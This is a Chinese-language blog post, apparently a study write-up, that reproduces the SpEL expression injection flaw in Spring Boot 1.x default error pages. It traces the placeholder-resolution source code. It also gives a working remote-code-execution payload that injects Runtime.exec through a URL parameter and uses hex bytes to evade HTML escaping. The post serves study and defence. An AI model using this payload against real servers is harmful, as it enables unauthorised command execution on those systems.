SpringBoot 1.x SpEL表达式注入漏洞

前言:学习springboot系列的漏洞

参考文章:https://github.com/LandGrey/SpringBootVulExploit

什么是SpEL表达式

Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。

最常见的就是在配置数据源的那块,为了统一管理,一般都是将账号密码等信息都一起写到 xxx.properties 中,然后通过注入 PropertyPlaceholderConfigurerResolver 来实现spel表达式的执行,这样就能将 xxx.properties 中的资源信息(也就是账号密码)直接引入到数据源中。

漏洞介绍和环境搭建

影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0

利用条件:

1、spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
2、至少知道一个触发 springboot 默认错误页面的接口及参数名

搭建的环境:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

用idea打开之后配置下SpringBoot启动项就可以直接跑了

访问: http://localhost:9091/ ,如下图所示就说明搭建成功了

漏洞复现

访问:http://localhost:9091/article?id=${7*7} ,可以发现${7*7}的SpEL表达式被进行了解析,随后将该表达式的运行的结果进行了返回,如下图所示

# coding: utf-8

result = ""
target = 'calc' # 自己这里是windows环境,所以测试命令用的是calc
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

访问: http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} ,可以发现命令成功执行了

漏洞分析

漏洞存在点:/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java

这是一个自动配置类,既然是SpEL漏洞,那么这个配置类中进行是进行了相关的表达式解析才导致的。

这里就直接在控制器中进行下断点来跟,也就是如下的地方

mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); ,方法中处理了相关的HTTP请求,相关的控制器方法执行和触发的异常都是在这里面执行的

因为这里会处理异常,所以最终返回给mv变量的是error视图

到目前modeView对象已经拿到了,该对象中包含了这里HTTP请求处理的处理和相关值,然后将这个作为参数调用processDispatchResult,让该方法来进行渲染

在processDispatchResult方法中就会进行渲染,其中实现渲染的方法名就是render

用的是什么解析器来进行渲染呢?SpELPlaceholderResolver对象

渲染的模板就是默认的Whitelabel Error Page 模板,其中就四个标签有进行相关SpEL表达式的操作的,分别是 ${timestamp} ${error} ${status} ${message}

				"<html><body><h1>Whitelabel Error Page</h1>"
						+ "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>"
						+ "<div id='created'>${timestamp}</div>"
						+ "<div>There was an unexpected error (type=${error}, status=${status}).</div>"
						+ "<div>${message}</div></body></html>");

这里重点就是分析 String result = this.helper.replacePlaceholders(this.template, this.resolver); ,继续跟进去看,可以看到调用的是replacePlaceholders方法

	public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
		Assert.notNull(value, "'value' must not be null");
		return parseStringValue(value, placeholderResolver, new HashSet<String>());
	}

接着继续来到parseStringValue(PropertyPlaceholderHelper.java)

接着就是一块逻辑处理的代码,这里不放图,我直接打字来描述即可

	protected String parseStringValue(
			String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {

		StringBuilder result = new StringBuilder(strVal);

		int startIndex = strVal.indexOf(this.placeholderPrefix);
		while (startIndex != -1) {
			int endIndex = findPlaceholderEndIndex(result, startIndex);
			if (endIndex != -1) {
				String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
				String originalPlaceholder = placeholder;
				if (!visitedPlaceholders.add(originalPlaceholder)) {
					throw new IllegalArgumentException(
							"Circular placeholder reference '" + originalPlaceholder + "' in property definitions");
				}
				// Recursive invocation, parsing placeholders contained in the placeholder key.
				placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
				// Now obtain the value for the fully resolved key...
				String propVal = placeholderResolver.resolvePlaceholder(placeholder);
                                ···
				if (propVal != null) {
					// Recursive invocation, parsing placeholders contained in the
					// previously resolved placeholder value.
					propVal = parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
					result.replace(startIndex, endIndex + this.placeholderSuffix.length(), propVal);
					if (logger.isTraceEnabled()) {
						logger.trace("Resolved placeholder '" + placeholder + "'");
					}
					startIndex = result.indexOf(this.placeholderPrefix, startIndex + propVal.length());
				}
				else if (this.ignoreUnresolvablePlaceholders) {
					// Proceed with unprocessed value.
					startIndex = result.indexOf(this.placeholderPrefix, endIndex + this.placeholderSuffix.length());
				}
                                ···
				visitedPlaceholders.remove(originalPlaceholder);
			}
			else {
				startIndex = -1;
			}
		}

		return result.toString();
	}

1、StringBuilder result = new StringBuilder(strVal); 将要渲染的模板存储到一块StringBuilder对象中

2、接着下面的while循环就是来寻找 this.placeholderPrefix开头并且以this.placeholderSuffix 结尾的字符串,并且将其中的字符串名称取出

3、这时候就来到了 placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders); ,它会将 上面取出来的字符串作为placeholder变量进行传输,通过placeholderResolver解析器来进行解析,而且这个方法还是递归的方法,因为上面一开始取出的字符串中还带有${ }这种,还会递归进行parseStringValue解析,直到不存在${}为止

4、String propVal = placeholderResolver.resolvePlaceholder(placeholder);,接着就是调用这个方法,这个方法才是真正的主角,因为进行字符串填充的都是通过这个方法

resolvePlaceholder这个方法跟进去,可以发现会通过SpelExpressionParser对象的parseExpression方法来对传入的字符串进行保存,最后返回一个expression的对象

5、Object value = expression.getValue(this.context); 接着其中继续通过返回来的expression对象来获取其中的值,根据该值来判断返回对应的对象,这里传入的是timestamp,通过getValue方法之后返回出来的是一个Date格式的字符串

6、还会对这个返回的字符串进行HTML编码处理

return HtmlUtils.htmlEscape(value == null ? null : value.toString());

7、最后进行替换处理,将其解析出来的字符串和对应的${}进行替换

整个解析过程就是这样,那么这里可以知道的就是对于${}字符串的解析是通过SpEL表达式进行解析的,那么SpEL表达式是否可以进行利用?这里还需要了解下相关的SpEL表达式的运用

SpEL表达式的使用

参考文章:http://rui0.cn/archives/1043

这里讲两种用法,其他用法可以参考文章即可

parser.parseExpression("'hello world'");

这里输入的'hello world' 是需要加上单引号的,加上单引号的作用是让SpEL以字符串类型来进行解析

public class CodeTest {
    public static void main(String[] args) {
        //创建ExpressionParser解析表达式
        ExpressionParser parser = new SpelExpressionParser();
        //SpEL表达式语法设置在parseExpression()入参内
        Expression exp = parser.parseExpression("'hello world'");
        //执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
        Object value = exp.getValue();
        System.out.println(value);
    }
}

第二种T(Type): 使用"T(Type)"来表示java.lang.Class类的实例,即如同java代码中直接写类名。同样,只有java.lang 下的类才可以省略包名。此方法一般用来引用常量或静态方法

Expression exp = parser.parseExpression("T(java.lang.Math)");,可以发现解析出来的是一个math的class对象

Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");,那么这样就可以直接执行命名了

同样试试用这个表达式注入到相关存在漏洞的环境,访问 http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(%27calc%27)} ,发现应用直接报错了

重新调试,跟进去看下,可以发现原来是被HTML编码处理了,最后返回的字符串存在&

T(java.lang.Runtime).getRuntime().exec('calc') ,那么单引号或者双引号就无法使用,但是这里可以通过String类型来进行替换,用十六进制来表达'calc'字符串 {0x63,0x61,0x6c,0x63}

那么最后的payload就是 ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

posted @ 2021-11-11 00:41  zpchcbd  阅读(1755)  评论(0编辑  收藏  举报